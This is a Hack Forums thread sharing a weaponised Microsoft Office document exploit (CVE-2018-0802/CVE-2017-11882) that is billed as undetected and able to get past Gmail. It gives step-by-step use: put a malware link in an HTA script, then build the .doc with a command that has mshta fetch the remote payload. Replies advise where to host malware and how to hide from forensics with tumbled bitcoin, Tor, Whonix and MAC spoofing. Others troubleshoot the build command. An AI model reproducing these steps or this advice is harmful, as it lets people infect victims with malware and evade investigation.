

Forum:[Hack Forums](#)

Thread: [\[NEW 9/16/2019\] \[FUD+Gmail\] \[100% SILENT\] Microsoft office .doc + Tutorial](#)

exelab - September 16, 2019, 12:32 pm

Hello Everyone again :)

Now i am sharing with you new encryption from the silent exploit cve2018-0802 + cve2017-11882

and i will show you how to use it

this is not completely new but i thought to share it as i got few much better

even tho this 8/50 the scan result its still very good !

it also bypassing gmail without any prob

How - To

1. Open The File Script.hta with notepad and found the putty.exe link

then replace it with your malware link and save it

2.upload the script.hta to your host

3. Open cmd/dos and go to the exploit dir path and use this cmd

Quote:new2019.py -c "cmd /c mshta <http://your-host.com/putty.hta>" -o done.doc[quote]

now you ready to go

Downloads :

[quote]

[MEGA](#)

<https://www.sendspace.com/file/evssa4>

[MEGA](#)

<https://gofile.io/?c=wPHttU>

Now It will be some lammers for sure gonna type things like , scammer and things like that
1. i did NOT made a sale thread , 2nd. i can write WHATEVER i need in my code !! , 3rd. if it will be any kind of deal it will be made by contract in the market and i got np to use escrow so pls stop flame and if you jealous just do your -rep in quite ;)

Jabber - Exelab@dismail.de

Mail - exelab.ru@gmail.com

Now Enjoy the code and HaVe FuN :)

blackghost01477 - September 17, 2019, 12:50 am

Where can we host our malware to get a direct download link to replace the putty link?

One - September 17, 2019, 5:28 am

(Sep 17, 2019 12:50 AM)blackghost01477 Wrote: [\[CITE\]](#) Where can we host our malware to get a direct download link to replace the putty link?

Get a cpanel or use discord

fomero - September 17, 2019, 1:42 pm

while .py file is obfuscated, it can include another .exe link

dividesbyzer0 - September 17, 2019, 4:41 pm

To the author thanks for the share. Funny how something so simple works and a service like gmail to this day with a CVE that old. It's humbling and refreshing to see things like this.

(Sep 17, 2019 12:50 AM)blackghost01477 Wrote: [\[CITE\]](#) Where can we host our malware to get a direct download link to replace the putty link?

You can host on dropbox too (make a fake account with an email that is somewhat safe maybe protomail). Better yet there are sites like pastebin that host executables for free for a limited time. Great part is it's gone after so many days. If you are super paranoid rent a vps via bitcoins from a cold wallet which received it's btc from a tumblr service and launch your attack from that front gun server through proxychains and/or tor network (excluding all 14 eyes countries) from a public wifi in a parking lot within a vm using tor through a whonix vm to connect to the front gun after changing your mac address and you may deter forensics.

But I suppose the counter measures you take to protect yourself are up to what you plan on doing with this. ?

tiny cracker - September 17, 2019, 10:32 pm

Bro can you fix error in hta file ? its not working with me

blackghost01477 - September 18, 2019, 2:39 am

(Sep 17, 2019 04:41 PM)dividesbyzer0 Wrote: [\[CITE\]](#) To the author thanks for the share. Funny how something so simple works and a service like gmail to this day with a CVE that old. It's humbling and refreshing to see things like this.

You can host on dropbox too (make a fake account with an email that is somewhat safe maybe protomail). Better yet there are sites like pastebin that host executables for free for a limited time. Great part is it's gone after so many days. If you are super paranoid rent a vps via bitcoins from a cold wallet which received it's btc from a tumblr service and launch your attack from that front gun server through proxychains and/or tor network (excluding all 14 eyes countries) from a public wifi in a parking lot within a vm using tor through a whonix vm to connect to the front gun after changing your mac address and you may deter forensics.

But I suppose the counter measures you take to protect yourself are up to what you plan on doing with this. ?

Thank you bro I appreciate pastbin is still effective? How do I remain anonymous even when the stub is decrypted with reverse engineering. I thought of using N-o-r-d vpn will building the stub I've expert rat. Thank you

vit4 - September 18, 2019, 4:53 am

Thank you for sharing.

I used the syntax provided but I'm getting an error while compiling:

```
new2019.py [-h] -c CMD -o OUTPUT [-i INPUT]
new2019.py: error: argument -c/--cmd is required
```

The syntax I used:

```
new2019.py -c "cmd /c mshta http://mywebsite.com/script.hta" -o export.doc
```

What am I doing wrong? any suggestions?
Thanks in advance.

stalee - September 19, 2019, 4:07 am

EXELAB you are still posting your SShit all your exploits are scams, any one can check your history here so

mikky - September 20, 2019, 1:15 am

Please can anyone help me exploit my file

exelab - September 20, 2019, 3:51 am

(Sep 18, 2019 04:53 AM)vit4 Wrote: [\[CITE\]](#) Thank you for sharing.

I used the syntax provided but I'm getting an error while compiling:

```
new2019.py [-h] -c CMD -o OUTPUT [-i INPUT]
new2019.py: error: argument -c/--cmd is required
```

The syntax I used:

```
new2019.py -c "cmd /c mshta http://mywebsite.com/script.hta" -o export.doc
```

What am I doing wrong? any suggestions?

Thanks in advance.

there is space after -c " and -o "

am just gonna ignore the rest flame posts